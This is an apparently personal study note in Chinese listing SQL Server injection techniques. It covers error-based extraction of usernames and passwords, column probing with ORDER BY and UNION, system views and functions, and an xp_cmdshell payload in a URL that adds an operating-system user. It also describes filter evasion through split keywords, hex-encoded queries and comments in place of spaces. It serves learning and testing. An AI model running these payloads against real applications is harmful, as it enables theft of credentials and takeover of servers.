常见数据库注入技巧——SQL Server

针对 SQL Server 2008、MySQL5.1 和 Oracle 11g 三种数据库,简单归纳注入技巧。本篇为第一部分——SQL Server。

SQL Server

通过报错提取信息

SQL Server 的错误提示十分详细,可以通过引发报错提取需要的信息。

通过 having 子句枚举表和列

假设数据库结构和查询语句如下:

1
2
3
4
5
6
7
8
9
10
11
//表结构
create table users(
id int not null identity(1,1),
username varchar(20) not null,
password varchar(20) not null,
privs int not null,
email varchar(50)
)
//查询语句
select * from users where username='root'

注入'having 1=1--语句,由于SQL语言中 having 子句用于过滤组,因此会返回类似如下的错误:

“选择列表中的列“users.id”无效,因为该列未包含在聚合函数或 GROUP BY 子句中。”

得到表名 users 和其中的列名ID。

将 user.id 包含在 group by 子句中,即' group by users.id having 1=1--,再次注入,返回报错:

“选择列表中的列“users.username”无效,因为该列未包含在聚合函数或 GROUP BY 子句中。”

得到第二个列名。依此类推,即可枚举当前表中所有列名。

利用数据类型错误提取数据

最常用的数据类型错误即是数字与字符串的类型错误。在 SQL Server 中,当将字符串与非字符串比较或者试图将字符串转换为不兼容类型时会抛出异常。有趣的是报错中会把涉及的字符串完整地输出。可以用几种方式来实现:

  1. 嵌入子查询
1
2
//比较数字和字符串
select * from users where username='root' and password='root' and 1>(select top 1 username from users)

错误提示:在将varchar值‘root’转换成数据类型 int 时失败。

利用此方法递归查询可得所有username:

1
2
select * from users where username='root' and password='root' and
1>(select top 1 username from users where username not in('root'))
  1. CONVERT( ) 和 CASE( ) 函数(强制类型转换)
1
2
select * from users where username='root' and password='root' and
1=CONVERT(int, (select top 1 users.username from users))

可以使用 FOR XML PATH 语句将查询的数据生成XML,代替重复递归操作:

1
2
select * from users where username='root' and password='root' and
1=CONVERT(int, (select stuff((select ','+ users.username,'|' + users.password from users for xml path('')),1,1,'')))

抛出异常:“在将 nvarchar 值 ‘root|root,admin|admin,xxser|xxser’ 转换成数据类型 int 时失败。”

获取元数据

SQL Server 中常见的系统数据库视图见下表。

数据库视图 说 明
sys.databases SQL Server 中的所有数据库
sys.sql_logins SQL Server 中的所有登录名
information_schema.tables 当前用户数据库中的表
information_schema.columns 当前用户数据库中的列
sys.all_columns 用户定义对象和系统对象的所有列的联合
sys.database_principals 数据库中每个权限或列异常权限
sys.database_files 存储在数据库中的数据库文件
sysobjects 数据库中创建的每个对象(例如约束、日志、存储过程)

从这些视图中可以获得有价值的元数据,例如:

1
2
3
4
//获得当前数据库的表名
select table_name from information_schema.tables
//获得当前表的列名
select column_name from information_schema.columns where table_name='student'

Order by 子句

Order by 子句常用于探测表的列数:

1
2
3
4
5
6
7
8
//正常语句
select id,username,password from users where id=1
//不断增加 ORDER BY 后面的列标号
select id,username,password from users where id=1 order by 1
select id,username,password from users where id=1 order by 2
select id,username,password from users where id=1 order by 3
......

假设 users 表共有三列,则当 order by 4 时就会报错:

“ORDER BY 位置号 4 超出了选择列表中项数的范围”

UNION 查询

UNION 查询要遵循两个基本规则:

  • 所有查询中列数必须相同
  • 数据类型必须兼容
union 查询探测列数

除了用 order by 语句推断列数外,还可以使用 union 查询:

1
2
3
4
5
6
7
8
//正常语句
select id,username,password from users where id=1
//不断增加ORDER BY后面的列标号
select id,username,password from users where id=1 union select null
select id,username,password from users where id=1 union select null,null
select id,username,password from users where id=1 union select null,null,null
......

若 null 的数量与表中字段数不同,则会报错:
“使用 UNION、INTERSECT 或 EXCEPT 运算符合并的所有查询必须在其目标列表中有相同数目的表达式”

  • union select null,null,...union select 1,2,3 的区别:

    null和其他任何数据类型都不会发生不兼容的情况,而数字型与其他类型(例如字符串)就会出现不兼容,因此推荐使用 null ;是否会出现类型异常也与数据库种类有关,MySQL中使用1,2,3…就不会出现异常,而 Oracle 和 SQL Server 则相反。

union 查询敏感信息

假设已得知列数为 4,可以使用如下语句注入:

1
......id=1 union select 'x',null,null,null from sysobjects where xtype='U'

如果第一行数据类型不匹配,数据库将会报错,可递归查询直至语句正常执行:

1
2
3
......id=1 union select null,'x',null,null from sysobjects where xtype='U'
......id=1 union select null,null,'x',null from sysobjects where xtype='U'
......

语句执行正常,代表数据类型兼容,就可以将 x 换为 SQL 语句,查询敏感信息。

利用系统函数

所有的数据库系统都会提供很多内置的系统函数,这些函数中有些可以直接返回数据库名、用户名等敏感信息,有些可以对数据进行处理(例如:字符串连接、截取;ASCII码转换等)。这些系统函数为 SQL 注入提供了很大的便利。

SQL Server 中的常用函数表如下:

函 数 说 明
suser_name() 返回用户的登录标识名
user_name() 基于指定的标识号返回数据库用户名
db_name() 返回数据库名称
is_number(‘db_owner’) 是否为数据库角色
convert(int,’5’) 数据类型转换
stuff() 字符串截取
ascii() 取ASCII码
char() 根据ASCII码取字符
getdate() 返回日期
count() 返回组中总条数
cast() 将一种数据类型的表达式显式转换为另一种数据类型
rand() 返回随机值
is_srvrolemember() 指定 SQL Server 登录名是否为指定服务器角色的成员

利用存储过程

存储过程(Stored Procedure)是在大型数据库系统中为完成特定功能的一组 SQL 语句集,存储在数据库中,经过第一次编译后再次调用不需要再次编译,用户通过指定存储过程的名字并给出参数(如果该存储过程带有参数)来执行它。

常见的存储过程功能有:执行系统命令、查看注册表、读取磁盘目录等。

攻击者最常用的存储过程是 xp_cmdshell ,允许用户执行操作系统命令,例如:

1
http://www.secbug.org/test.aspx?id=1;exec xp_cmdshell 'net user test test /add'

使用存储过程,必须先拥有相应的权限。

动态执行

SQL Server 支持动态执行语句,用户可以提交一个字符串来执行 SQL 语句,例如:

1
2
3
4
exec('select username,password from users')
//绕过关键词过滤
exec('selec'+'t userneme,password fro'+'m users')

可以通过定义十六进制的SQL语句,使用 exec 函数执行,可以绕过对单引号的过滤机制:

1
2
3
4
5
6
declare @query varchar(888)
select @query=0x73656C6563742031
exec(@query)
//以上命令连接起来
declare/**/@query/**/varchar(888)/**/select/**/@query=0x73656C6563742031/**/exec(@query)

(有待更多补充和实践)